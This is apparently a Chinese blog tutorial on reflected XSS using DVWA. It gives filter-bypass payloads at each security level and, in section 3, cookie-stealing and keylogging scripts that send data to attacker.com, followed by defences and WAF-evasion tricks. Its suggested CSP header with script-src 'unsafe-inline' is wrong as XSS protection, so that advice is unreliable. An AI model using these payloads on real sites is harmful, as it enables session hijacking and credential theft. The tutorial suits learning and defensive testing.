1. 反射型XSS初探:当浏览器变成攻击者的传声筒
第一次听说反射型XSS时,我脑海中浮现的是一个有趣的场景:就像对着山谷大喊一声,结果回声里却夹杂着别人偷偷塞进去的广告词。这种攻击方式之所以被称为"反射",正是因为恶意脚本会像回声一样,从服务器"反射"回用户的浏览器。
在实际测试中,DVWA(Damn Vulnerable Web Application)的Low安全级别完美展示了这种漏洞的原始形态。记得我第一次在name参数里输入<script>alert('XSS')</script>时,那个突然跳出来的弹窗让我愣了好几秒——原来网站真的会这么老实地执行任何输入。更可怕的是,当我把payload换成<script>alert(document.cookie)</script>时,浏览器居然乖乖地把当前会话的cookie全盘托出。
这种攻击的传播方式特别有意思。攻击者需要精心构造一个恶意链接,比如http://victim.com/search?q=<script>恶意代码</script>,然后通过邮件或社交平台诱导受害者点击。去年某电商平台就发生过类似事件,攻击者伪装成客服发送"订单异常"链接,用户点击后会话凭证就被窃取。
2. DVWA实战:四重防御下的闯关游戏
2.1 Low级别:毫无防备的城门
DVWA的Low级别就像完全不设防的城堡。查看源码时会发现,服务器只是简单地把用户输入拼接进响应:
echo '<pre>Hello ' . $_GET['name'] . '</pre>';这种直接输出意味着我们可以插入任意HTML和JavaScript。我常用以下payload测试:
- 基础验证:
<script>alert(1)</script> - Cookie窃取:
<script>alert(document.cookie)</script> - 重定向攻击:
<script>location.href="http://attacker.com"</script>
2.2 Medium级别:漏洞百出的过滤网
升级到Medium级别后,开发者似乎意识到了危险,但防御措施却漏洞百出。源码中使用str_replace过滤<script>标签:
$name = str_replace('<script>', '', $_GET['name']);这种防护至少有三种绕过方式:
- 大小写混淆:
<ScRiPt>alert(1)</sCriPt> - 双写绕过:
<scr<script>ipt>alert(1)</script> - 事件处理器:
<img src=x onerror=alert(1)>
记得当时尝试<img src=x onerror=alert(document.cookie)>成功时,我意识到单纯的标签过滤根本防不住XSS。
2.3 High级别:正则表达式的猫鼠游戏
High级别的防护开始使用正则表达式:
$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);这个正则虽然能防住大小写和双写,但HTML的世界远不止script标签。通过测试发现这些payload依然有效:
<img src=1 onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)>
特别有趣的是<a href="javascript:alert(1)">click</a>这种伪协议写法,完全绕过了标签检测。
2.4 Impossible级别:真正的铜墙铁壁
Impossible级别展示了教科书般的防御方案:
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');htmlspecialchars会把特殊字符转换为HTML实体,比如<变成<。我尝试过各种payload,发现这个函数配合ENT_QUOTES参数后,所有XSS尝试都变成了无害的文本显示。不过在实际项目中,我还会建议配合以下措施:
- 设置Content-Security-Policy头
- 输入长度限制
- 严格的输入验证规则
3. 攻击者的花式玩法:不止是弹个窗
很多人以为XSS就是弹出个alert框,其实攻击手法要丰富得多。在我参与的渗透测试中,见过这些真实案例:
Cookie劫持是最直接的攻击:
new Image().src='http://attacker.com/steal?cookie='+document.cookie键盘记录器更可怕:
document.onkeypress = function(e) { fetch('http://attacker.com/log', { method: 'POST', body: String.fromCharCode(e.keyCode) }); }还有更隐蔽的DOM篡改攻击,比如修改转账页面的收款账号。曾有个金融APP漏洞允许注入:
document.getElementById('account').value = 'ATTACKER_ACCOUNT'4. 防御之道:从被动过滤到主动防御
4.1 输入处理的三重门禁
经过多次踩坑后,我总结出有效的输入处理策略:
- 白名单验证:比如姓名只允许字母和空格
if (!preg_match('/^[a-zA-Z\s]+$/', $input)) { die('Invalid input'); }- 上下文感知转义:
- HTML输出:htmlspecialchars
- JavaScript输出:json_encode
- URL参数:urlencode
- 规范化处理:
$clean = mb_convert_encoding($input, 'UTF-8', 'auto'); $clean = normalize_whitespace($clean);4.2 现代浏览器的安全防线
除了服务器端防护,这些客户端措施也很关键:
Content-Security-Policy能有效遏制XSS:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'HttpOnly Cookie让JavaScript读不到敏感cookie:
setcookie('sessionid', $token, [ 'httponly' => true, 'secure' => true ]);X-XSS-Protection虽然已被现代浏览器弃用,但对旧系统仍有价值:
X-XSS-Protection: 1; mode=block5. 渗透测试中的实用技巧
在实际测试中,我发现这些方法特别有效:
模糊测试工具能自动化发现XSS漏洞:
# 使用XSStrike测试 python3 xsstrike.py -u "http://target.com/search?q=fuzz"DOM监控帮助理解数据处理流程:
// 在控制台监控DOM修改 MutationObserver = window.MutationObserver || window.WebKitMutationObserver; new MutationObserver(function(mutations) { console.log('DOM changed:', mutations); }).observe(document, { subtree: true, childList: true });编码混淆有时能绕过WAF检测:
// 十六进制编码 eval('\x61\x6c\x65\x72\x74\x28\x31\x29')记得有次遇到过滤了括号的WAF,我用反引号成功执行:
alert`1`